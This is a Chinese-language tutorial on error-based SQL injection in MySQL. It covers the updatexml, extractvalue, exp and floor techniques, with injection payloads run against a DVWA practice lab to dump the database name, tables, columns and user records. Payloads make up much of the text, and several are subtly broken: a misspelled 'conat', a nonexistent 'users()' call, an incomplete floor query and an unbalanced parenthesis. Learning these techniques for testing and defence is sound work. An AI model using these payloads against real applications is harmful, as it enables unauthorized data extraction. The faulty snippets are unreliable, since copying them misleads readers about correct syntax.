1. 报错注入
报错注入作为sql注入的一种有效手段,具有简单、快速、有效的特点,可快速的获取数据中想要的信息,常用的报错函数有4个:
1.1. updatexml
作用是更新符合xpath的xml对象中的内容为newvalue。
函数原型为:
updatexml(xmlobj,xpath,newvalue)
xmlobj,即xml document 类型为string 格式
xpath,类型为string,xpath语法的字符串
newvalue,更新后的新值
sql注入中常用的姿势为:
updatexml(1,concat('~',(select database())),1)
由于concat(’~’,(select database())) 的值为~,不符合xpath的语法,引起数据库的报错,从而获取相关的数据库信息。
使用示例:
dvwa 中sql注入url:http://192.168.74.129:8090/vulnerabilities/sqli/?id=2
- 爆数据库名
id=2' or updatexml(1,conat(0x7e,database()),1) --+
- 爆指定数据库的数据表
id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() )),1) --+
- 爆出指定表的所有列
id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 )),1) --+
- 爆出指定列的值
id=1' or updatexml(1,concat(0x7e,(select group_concat(user_id,first_name) from users)),1) --+
1.2. extractvalue
作用是查询符合xpath的xml对象信息。
函数原型为:
extractvalue(xmlobj,xpath)
xmlobj,即xml document 类型为string 格式
xpath,类型为string,xpath语法的字符串
sql注入中常用的姿势为:
extractvalue(null,concat(0x7e,database())
由于concat(’~’,(select database())) 的值为~,不符合xpath的语法,引起数据库的报错,从而获取相关的数据库信息。
使用示例同updatexml
1.3. exp
exp报错注入通常用于mysql数据库,且版本在5.5以上,有时不能爆出想要的结果。
使用示例:
exp(~(select 1 from (select users())x))
1.4. floor报错
floor报错比exp有效。count(),floor(),group by 三者合在一起才能起作用! 使用示例
select count(*),(concat(floor(rand(0)),(select database())))x group by x;